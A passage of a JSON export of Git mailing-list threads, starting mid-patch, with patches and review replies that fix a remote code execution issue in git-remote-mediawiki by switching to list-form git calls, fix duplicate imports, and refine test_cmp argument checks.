%local_ancestry;\n \t\tforeach my $line (@local_ancestry) {\n \t\t\tif (my ($child, $parents) = $line =~ /^-?([a-f0-9]+) ([a-f0-9 ]+)/) {\n@@ -1235,7 +1235,7 @@ sub mw_push_revision {\n \t\t# No remote mediawiki revision. Export the whole\n \t\t# history (linearized with --first-parent)\n \t\tprint {*STDERR} \"Warning: no common ancestor, pushing complete history\\n\";\n-\t\tmy $history = run_git(\"rev-list --first-parent --children ${local}\");\n+\t\tmy $history = run_git_quoted([\"rev-list\", \"--first-parent\", \"--children\", $local]);\n \t\tmy @history = split(/\\n/, $history);\n \t\t@history = @history[1..$#history];\n \t\tforeach my $line (reverse @history) {\n@@ -1247,12 +1247,12 @@ sub mw_push_revision {\n \tforeach my $commit_info_split (@commit_pairs) {\n \t\tmy $sha1_child = @{$commit_info_split}[0];\n \t\tmy $sha1_commit = @{$commit_info_split}[1];\n-\t\tmy $diff_infos = run_git(\"diff-tree -r --raw -z ${sha1_child} ${sha1_commit}\");\n+\t\tmy $diff_infos = run_git_quoted([\"diff-tree\", \"-r\", \"--raw\", \"-z\", $sha1_child, $sha1_commit]);\n \t\t# TODO: we could detect rename, and encode them with a #redirect on the wiki.\n \t\t# TODO: for now, it's just a delete+add\n \t\tmy @diff_info_list = split(/\\0/, $diff_infos);\n \t\t# Keep the subject line of the commit message as mediawiki comment for the revision\n-\t\tmy $commit_msg = run_git(qq(log --no-walk --format=\"%s\" ${sha1_commit}));\n+\t\tmy $commit_msg = run_git_quoted([\"log\", \"--no-walk\", '--format=\"%s\"', $sha1_commit]);\n \t\tchomp($commit_msg);\n \t\t# Push every blob\n \t\twhile (@diff_info_list) {\n@@ -1277,7 +1277,10 @@ sub mw_push_revision {\n \t\t\t}\n \t\t}\n \t\tif (!$dumb_push) {\n-\t\t\trun_git(qq(notes --ref=${remotename}/mediawiki add -f -m \"mediawiki_revision: ${mw_revision}\" ${sha1_commit}));\n+\t\t\trun_git_quoted([\"notes\", \"--ref=${remotename}/mediawiki\",\n+\t\t\t\t\t\"add\", \"-f\", \"-m\",\n+\t\t\t\t\t\"mediawiki_revision: ${mw_revision}\",\n+\t\t\t\t\t$sha1_commit]);\n \t\t}\n \t}\n \n@@ -1318,7 +1321,7 @@ sub get_mw_namespace_id {\n \t\t# already cached. Namespaces are stored in form:\n \t\t# \"Name_of_namespace:Id_namespace\", ex.: \"File:6\".\n \t\tmy @temp = split(/\\n/,\n-\t\t\t\t run_git(\"config --get-all remote.${remotename}.namespaceCache\"));\n+\t\t\t\t run_git_quoted([\"config\", \"--get-all\", \"remote.${remotename}.namespaceCache\"]));\n \t\tchomp(@temp);\n \t\tforeach my $ns (@temp) {\n \t\t\tmy ($n, $id) = split(/:/, $ns);\n@@ -1372,7 +1375,7 @@ sub get_mw_namespace_id {\n \n \t# Store explicitly requested namespaces on disk\n \tif (!exists $cached_mw_namespace_id{$name}) {\n-\t\trun_git(qq(config --add remote.${remotename}.namespaceCache \"${name}:${store_id}\"));\n+\t\trun_git_quoted([\"config\", \"--add\", \"remote.${remotename}.namespaceCache\", \"${name}:${store_id}\"]);\n \t\t$cached_mw_namespace_id{$name} = 1;\n \t}\n \treturn $id;\n-- \n2.28.0.297.g1956fa8f8d\n\n"},{"id":"406035","messageId":"20200921104000.2304-16-avarab@gmail.com","threadId":"54243","inReplyTo":"20200916102918.29805-1-avarab@gmail.com","subject":"[PATCH v2 15/18] remote-mediawiki: provide a list form of run_git()","fromName":"Ævar Arnfjörð Bjarmason","fromEmail":"avarab@gmail.com","sentAt":"2020-09-21T10:39:57Z","receivedAt":"2020-09-21T10:40:47Z","isPatch":true,"sender":{"key":"avarab@gmail.com","avatar":"https://avatars.githubusercontent.com/u/45301?v=4"},"body":"Invoking commands as \"git $args\" doesn't quote $args. Let's support\n[\"git\", $args] as well, and create corresponding run_git_quoted() and\nrun_git_unquoted() aliases for subsequent changes when we move the\ncode over to the new style of invoking this function. At that point\nwe'll delete the then-unused run_git() wrapper.\n\nSigned-off-by: Ævar Arnfjörð Bjarmason \n---\n contrib/mw-to-git/git-remote-mediawiki.perl | 19 +++++++++++++++----\n 1 file changed, 15 insertions(+), 4 deletions(-)\n\ndiff --git a/contrib/mw-to-git/git-remote-mediawiki.perl b/contrib/mw-to-git/git-remote-mediawiki.perl\nindex 26d5e1a174..59cb277517 100755\n--- a/contrib/mw-to-git/git-remote-mediawiki.perl\n+++ b/contrib/mw-to-git/git-remote-mediawiki.perl\n@@ -369,12 +369,14 @@ sub get_mw_pages {\n \treturn %pages;\n }\n \n-# usage: $out = run_git(\"command args\");\n-# $out = run_git(\"command args\", \"raw\"); # don't interpret output as UTF-8.\n-sub run_git {\n+# usage: $out = run_git_quoted([\"command\", \"args\", ...]);\n+# $out = run_git_quoted([\"command\", \"args\", ...], \"raw\"); # don't interpret output as UTF-8.\n+# $out = run_git_unquoted([\"command args\"); # don't quote arguments\n+# $out = run_git_unquoted([\"command args\", \"raw\"); # ditto but raw instead of UTF-8 as above\n+sub _run_git {\n \tmy $args = shift;\n \tmy $encoding = (shift || 'encoding(UTF-8)');\n-\topen(my $git, \"-|:${encoding}\", \"git ${args}\")\n+\topen(my $git, \"-|:${encoding}\", @$args)\n \t or die \"Unable to fork: $!\\n\";\n \tmy $res = do {\n \t\tlocal $/ = undef;\n@@ -385,6 +387,15 @@ sub run_git {\n \treturn $res;\n }\n \n+sub run_git_quoted {\n+ _run_git([\"git\", @{$_[0]}], $_[1]);\n+}\n+\n+sub run_git_unquoted {\n+ _run_git([\"git $_[0]\"], $_[1]);\n+}\n+\n+BEGIN { *run_git = \\&run_git_unquoted }\n \n sub get_all_mediafiles {\n \tmy $pages = shift;\n-- \n2.28.0.297.g1956fa8f8d\n\n"},{"id":"406036","messageId":"20200921104000.2304-14-avarab@gmail.com","threadId":"54243","inReplyTo":"20200916102918.29805-1-avarab@gmail.com","subject":"[PATCH v2 13/18] remote-mediawiki: fix duplicate revisions being imported","fromName":"Ævar Arnfjörð Bjarmason","fromEmail":"avarab@gmail.com","sentAt":"2020-09-21T10:39:55Z","receivedAt":"2020-09-21T10:40:50Z","isPatch":true,"sender":{"key":"avarab@gmail.com","avatar":"https://avatars.githubusercontent.com/u/45301?v=4"},"body":"From: Simon Legner \n\nFix a bug with revisions being imported twice. This commit is being\nbackported from Git-Mediawiki.git's e41ee9b (\"All revisions imported\ntwice\", 2018-02-02) to git.git. See [1] for the original commit and\n[2] and [3] for the upstream PR and issue.\n\n1. https://github.com/Git-Mediawiki/Git-Mediawiki/commit/e41ee9b3a32416df381cdc79f63350665c84151e\n2. https://github.com/Git-Mediawiki/Git-Mediawiki/pull/61\n3. https://github.com/Git-Mediawiki/Git-Mediawiki/issues/29\n\nSigned-off-by: Ævar Arnfjörð Bjarmason \n---\n contrib/mw-to-git/git-remote-mediawiki.perl | 3 +++\n 1 file changed, 3 insertions(+)\n\ndiff --git a/contrib/mw-to-git/git-remote-mediawiki.perl b/contrib/mw-to-git/git-remote-mediawiki.perl\nindex 08190e23e1..26d5e1a174 100755\n--- a/contrib/mw-to-git/git-remote-mediawiki.perl\n+++ b/contrib/mw-to-git/git-remote-mediawiki.perl\n@@ -807,7 +807,10 @@ sub get_more_refs {\n sub mw_import {\n \t# multiple import commands can follow each other.\n \tmy @refs = (shift, get_more_refs('import'));\n+\tmy $processedRefs;\n \tforeach my $ref (@refs) {\n+\t\tnext if $processedRefs->{$ref}; # skip duplicates: \"import refs/heads/master\" being issued twice; TODO: why?\n+\t\t$processedRefs->{$ref} = 1;\n \t\tmw_import_ref($ref);\n \t}\n \tprint {*STDOUT} \"done\\n\";\n-- \n2.28.0.297.g1956fa8f8d\n\n"},{"id":"406038","messageId":"20200921104000.2304-15-avarab@gmail.com","threadId":"54243","inReplyTo":"20200916102918.29805-1-avarab@gmail.com","subject":"[PATCH v2 14/18] remote-mediawiki tests: annotate failing tests","fromName":"Ævar Arnfjörð Bjarmason","fromEmail":"avarab@gmail.com","sentAt":"2020-09-21T10:39:56Z","receivedAt":"2020-09-21T10:40:53Z","isPatch":true,"sender":{"key":"avarab@gmail.com","avatar":"https://avatars.githubusercontent.com/u/45301?v=4"},"body":"These tests consistently fail for me, and were failing before any of\nthe changes in this series. As noted in [1] there are some known\nintermittent test failures. Let's mark these as failing so we can have\nan otherwise passing test suite.\n\nWe need to add an extra test_path_is_file() here because since\nd572f52a64 (\"test_cmp: diagnose incorrect arguments\", 2020-08-09)\ntest_cmp has errored out with a BUG if one of the test arguments\ndoesn't exist, without that the test would still fail even without\ntest_expect_failure().\n\n1. https://github.com/Git-Mediawiki/Git-Mediawiki/issues/56\n\nSigned-off-by: Ævar Arnfjörð Bjarmason \n---\n contrib/mw-to-git/t/t9363-mw-to-git-export-import.sh | 5 +++--\n 1 file changed, 3 insertions(+), 2 deletions(-)\n\ndiff --git a/contrib/mw-to-git/t/t9363-mw-to-git-export-import.sh b/contrib/mw-to-git/t/t9363-mw-to-git-export-import.sh\nindex 43580af3cf..6187ec67fa 100755\n--- a/contrib/mw-to-git/t/t9363-mw-to-git-export-import.sh\n+++ b/contrib/mw-to-git/t/t9363-mw-to-git-export-import.sh\n@@ -32,7 +32,7 @@ test_expect_success 'setup config' '\n \ttest_might_fail git config --global --unset remote.origin.mediaImport\n '\n \n-test_expect_success 'git push can upload media (File:) files' '\n+test_expect_failure 'git push can upload media (File:) files' '\n \twiki_reset &&\n \tgit clone mediawiki::'\"$WIKI_URL\"' mw_dir &&\n \t(\n@@ -48,13 +48,14 @@ test_expect_success 'git push can upload media (File:) files' '\n \t)\n '\n \n-test_expect_success 'git clone works on previously created wiki with media files' '\n+test_expect_failure 'git clone works on previously created wiki with media files' '\n \ttest_when_finished \"rm -rf mw_dir mw_dir_clone\" &&\n \tgit clone -c remote.origin.mediaimport=true \\\n \t\tmediawiki::'\"$WIKI_URL\"' mw_dir_clone &&\n \ttest_cmp mw_dir_clone/Foo.txt mw_dir/Foo.txt &&\n \t(cd mw_dir_clone && git checkout HEAD^) &&\n \t(cd mw_dir && git checkout HEAD^) &&\n+\ttest_path_is_file mw_dir_clone/Foo.txt &&\n \ttest_cmp mw_dir_clone/Foo.txt mw_dir/Foo.txt\n '\n \n-- \n2.28.0.297.g1956fa8f8d\n\n"},{"id":"406039","messageId":"87imc7if7n.fsf@evledraar.gmail.com","threadId":"54243","inReplyTo":"87mu1jh5mv.fsf@evledraar.gmail.com","subject":"Re: [PATCH 07/15] remote-mediawiki tests: guard test_cmp with test_path_is_file","fromName":"Ævar Arnfjörð Bjarmason","fromEmail":"avarab@gmail.com","sentAt":"2020-09-21T10:42:04Z","receivedAt":"2020-09-21T10:42:09Z","isPatch":true,"sender":{"key":"avarab@gmail.com","avatar":"https://avatars.githubusercontent.com/u/45301?v=4"},"body":"\nOn Mon, Sep 21 2020, Ævar Arnfjörð Bjarmason wrote:\n\n> On Wed, Sep 16 2020, Eric Sunshine wrote:\n>\n>> On Wed, Sep 16, 2020 at 8:17 AM Ævar Arnfjörð Bjarmason\n>> wrote:\n>>> Change a test that used a plain test_cmp to first check the file(s)\n>>> using test_path_is_file. If some of these file(s) don't exist (as\n>>> happened to me during debugging), test_cmp will emit a way less useful\n>>> message about the failure.\n>>\n>> An alternative would be to update test_cmp() to present a more helpful\n>> error message so that all test scripts can benefit rather than just\n>> this script. By the way, were you testing with a reasonably recent\n>> version of Git? I ask because test_cmp() was updated not long ago to\n>> provide better diagnostics when one of the files is missing.\n>>\n>> [1]: d572f52a64 (test_cmp: diagnose incorrect arguments, 2020-08-09)\n>\n> Thanks (and also to Đoàn Trần Công Danh in a side-thread). I've dropped\n> this patch. It's indeed better to leave this to a more general facility\n> as in your now-integrated test_cmp patch.\n>\n> The reason I came up with this now-useless patch is because I originally\n> started hacking this series on a slightly older version of git, which\n> didn't have that patch.\n\nCorrection: It was the other way around, but I ran into the case with\nyour patch + converting a test to test_expect_failure, where before that\nwould be an \"ok\" failure since a file was missing, but now hard errosr\nwith a BUG.\n\nI think that behavior is OK, but in going back&forth and rebasing\nmanaged to miss it the first time around. The v2 of this series has a\nmore narrow fix for that.\n"},{"id":"406305","messageId":"20200925065023.GB3179383@coredump.intra.peff.net","threadId":"54243","inReplyTo":"20200921104000.2304-1-avarab@gmail.com","subject":"Re: [PATCH v2 00/18] remote-mediawiki: fix RCE issue, and the tests","fromName":"Jeff King","fromEmail":"peff@peff.net","sentAt":"2020-09-25T06:50:23Z","receivedAt":"2020-09-25T06:50:26Z","isPatch":true,"sender":{"key":"peff@peff.net","avatar":"https://avatars.githubusercontent.com/u/45925?v=4"},"body":"On Mon, Sep 21, 2020 at 12:39:42PM +0200, Ævar Arnfjörð Bjarmason wrote:\n\n> This series now has a fix for a remote code execution which previously\n> was only being discussed on the closed git-security list. Per\n> discussion there the issue is being made public.\n> \n> Basically, we expect that almost nobody is using this code in the\n> first place so there wasn't any interest in a point release, and there\n> wasn't any downstream interest in an embargo either.\n> \n> This v2 addresses (hopefully) all the public & git-security commends\n> on the v1s of this series.\n\nIt all looks good to me, including the cleanup in the final commit.\n\nAt that point we have no \"unquoted\" run_git helpers left, so possibly we\ncould rename the \"quoted\" forms back to just \"run_git\" and \"run_git_stderr\",\nwhich are a little less verbose. But I don't care that much either way.\n\nThanks again for fixing this.\n\n-Peff\n"},{"id":"406857","messageId":"20201003070412.33015-1-sunshine@sunshineco.com","threadId":"54243","inReplyTo":"xmqq4knxwhkc.fsf@gitster.c.googlers.com","subject":"[PATCH] test_cmp: diagnose incorrect arguments more precisely","fromName":"Eric Sunshine","fromEmail":"sunshine@sunshineco.com","sentAt":"2020-10-03T07:04:12Z","receivedAt":"2020-10-03T07:05:50Z","isPatch":true,"sender":{"key":"sunshine@sunshineco.com","avatar":"https://avatars.githubusercontent.com/u/163641?v=4"},"body":"d572f52a64 (test_cmp: diagnose incorrect arguments, 2020-08-09) taught\ntest_cmp() and test_cmp_bin() to diagnose a missing input source. Even\nthough the arguments to test_cmp() must name regular files (or standard\ninput), it only diagnoses whether a source is missing, which makes the\ncheck a bit loose. Teach the check to be more precise by diagnosing, not\nonly a missing source, but also if the source is not a regular file.\n\nSigned-off-by: Eric Sunshine \n---\n\n On Wed, Sep 16, 2020 at 5:14 PM Junio C Hamano wrote:\n > Eric Sunshine writes:\n > > [...] I ask because test_cmp() was updated not long ago to\n > > provide better diagnostics when one of the files is missing.\n > > [1]: d572f52a64 (test_cmp: diagnose incorrect arguments, 2020-08-09)\n >\n > Yes, you did this with the commit,\n > test \"x$1\" = x- || test -e \"$1\" || BUG \"test_cmp '$1' missing\"\n > test \"x$2\" = x- || test -e \"$2\" || BUG \"test_cmp '$2' missing\"\n > and I do not immediately see why \"test -e\" shouldn't be \"test -f\".\n > It should ideally be \"stdin is OK, otherwise it must be a readable\n > regular file\".\n\n Perhaps the present patch suitably address your concern?\n\n t/test-lib-functions.sh | 8 ++++----\n 1 file changed, 4 insertions(+), 4 deletions(-)\n\ndiff --git a/t/test-lib-functions.sh b/t/test-lib-functions.sh\nindex 8d59b90348..4bc54e9e80 100644\n--- a/t/test-lib-functions.sh\n+++ b/t/test-lib-functions.sh\n@@ -955,8 +955,8 @@ test_cmp() {\n \ttest $# -eq 2 || BUG \"test_cmp requires two arguments\"\n \tif ! eval \"$GIT_TEST_CMP\" '\"$@\"'\n \tthen\n-\t\ttest \"x$1\" = x- || test -e \"$1\" || BUG \"test_cmp '$1' missing\"\n-\t\ttest \"x$2\" = x- || test -e \"$2\" || BUG \"test_cmp '$2' missing\"\n+\t\ttest \"x$1\" = x- || test -f \"$1\" || BUG \"test_cmp '$1' missing or not regular file\"\n+\t\ttest \"x$2\" = x- || test -f \"$2\" || BUG \"test_cmp '$2' missing or not regular file\"\n \t\treturn 1\n \tfi\n }\n@@ -990,8 +990,8 @@ test_cmp_bin() {\n \ttest $# -eq 2 || BUG \"test_cmp_bin requires two arguments\"\n \tif ! cmp \"$@\"\n \tthen\n-\t\ttest \"x$1\" = x- || test -e \"$1\" || BUG \"test_cmp_bin '$1' missing\"\n-\t\ttest \"x$2\" = x- || test -e \"$2\" || BUG \"test_cmp_bin '$2' missing\"\n+\t\ttest \"x$1\" = x- || test -f \"$1\" || BUG \"test_cmp_bin '$1' missing or not regular file\"\n+\t\ttest \"x$2\" = x- || test -f \"$2\" || BUG \"test_cmp_bin '$2' missing or not regular file\"\n \t\treturn 1\n \tfi\n }\n-- \n2.28.0.942.g77c4c6094c\n\n"},{"id":"406868","messageId":"xmqqpn5z8bsq.fsf@gitster.c.googlers.com","threadId":"54243","inReplyTo":"20201003070412.33015-1-sunshine@sunshineco.com","subject":"Re: [PATCH] test_cmp: diagnose incorrect arguments more precisely","fromName":"Junio C Hamano","fromEmail":"gitster@pobox.com","sentAt":"2020-10-03T17:22:13Z","receivedAt":"2020-10-03T17:22:21Z","isPatch":true,"sender":{"key":"gitster@pobox.com","avatar":"https://avatars.githubusercontent.com/u/54884?v=4"},"body":"Eric Sunshine writes:\n\n> d572f52a64 (test_cmp: diagnose incorrect arguments, 2020-08-09) taught\n> test_cmp() and test_cmp_bin() to diagnose a missing input source. Even\n> though the arguments to test_cmp() must name regular files (or standard\n> input), it only diagnoses whether a source is missing, which makes the\n> check a bit loose. Teach the check to be more precise by diagnosing, not\n> only a missing source, but also if the source is not a regular file.\n>\n> Signed-off-by: Eric Sunshine \n> ---\n>\n> On Wed, Sep 16, 2020 at 5:14 PM Junio C Hamano wrote:\n> > Eric Sunshine writes:\n> > > [...] I ask because test_cmp() was updated not long ago to\n> > > provide better diagnostics when one of the files is missing.\n> > > [1]: d572f52a64 (test_cmp: diagnose incorrect arguments, 2020-08-09)\n> >\n> > Yes, you did this with the commit,\n> > test \"x$1\" = x- || test -e \"$1\" || BUG \"test_cmp '$1' missing\"\n> > test \"x$2\" = x- || test -e \"$2\" || BUG \"test_cmp '$2' missing\"\n> > and I do not immediately see why \"test -e\" shouldn't be \"test -f\".\n> > It should ideally be \"stdin is OK, otherwise it must be a readable\n> > regular file\".\n>\n> Perhaps the present patch suitably address your concern?\n\nCertainly s/-e/-f/ is better to reject directories, but if we are\ndoing more checks, it would probably be more maintainable to have\na helper and catch unreadable files.\n\nNote that\n\n\tmkdir one two &&\n\ttest_cmp one two\n\nwould likely succeed, so I am not sure how much this matters in\npractice, even though we would catch\n\n\tmkdir one >two &&\n\ttest_cmp one two\n\nas a mistake.\n\n t/test-lib-functions.sh | 24 +++++++++++++++++++-----\n 1 file changed, 19 insertions(+), 5 deletions(-)\n\ndiff --git a/t/test-lib-functions.sh b/t/test-lib-functions.sh\nindex 8d59b90348..ddaa14275a 100644\n--- a/t/test-lib-functions.sh\n+++ b/t/test-lib-functions.sh\n@@ -938,6 +938,20 @@ test_expect_code () {\n \treturn 1\n } 7>&2 2>&4\n \n+# helper for test_cmp and test_cmp_bin to diagnose programmer errors\n+# usage: test_cmp_missing \"$funcname\" \"$filename\"\n+test_cmp_missing_check () {\n+\tif test \"x$2\" = x-\n+\tthen\n+\t\t:; # standard input is OK\n+\telif test -f \"$2\" && test -r \"$2\"\n+\tthen\n+\t\t:; # readable file is OK\n+\telse\n+\t\tBUG \"$1 '$2' not a readable file\"\n+\tfi\n+}\n+\n # test_cmp is a helper function to compare actual and expected output.\n # You can use it like:\n #\n@@ -955,9 +969,9 @@ test_cmp() {\n \ttest $# -eq 2 || BUG \"test_cmp requires two arguments\"\n \tif ! eval \"$GIT_TEST_CMP\" '\"$@\"'\n \tthen\n-\t\ttest \"x$1\" = x- || test -e \"$1\" || BUG \"test_cmp '$1' missing\"\n-\t\ttest \"x$2\" = x- || test -e \"$2\" || BUG \"test_cmp '$2' missing\"\n-\t\treturn 1\n+\t\ttest_cmp_missing_check test_cmp \"$1\"\n+\t\ttest_cmp_missing_check test_cmp \"$2\"\n+\t\treturn 1;\n \tfi\n }\n \n@@ -990,8 +1004,8 @@ test_cmp_bin() {\n \ttest $# -eq 2 || BUG \"test_cmp_bin requires two arguments\"\n \tif ! cmp \"$@\"\n \tthen\n-\t\ttest \"x$1\" = x- || test -e \"$1\" || BUG \"test_cmp_bin '$1' missing\"\n-\t\ttest \"x$2\" = x- || test -e \"$2\" || BUG \"test_cmp_bin '$2' missing\"\n+\t\ttest_cmp_missing_check test_cmp_bin \"$1\"\n+\t\ttest_cmp_missing_check test_cmp_bin \"$2\"\n \t\treturn 1\n \tfi\n }\n"}]}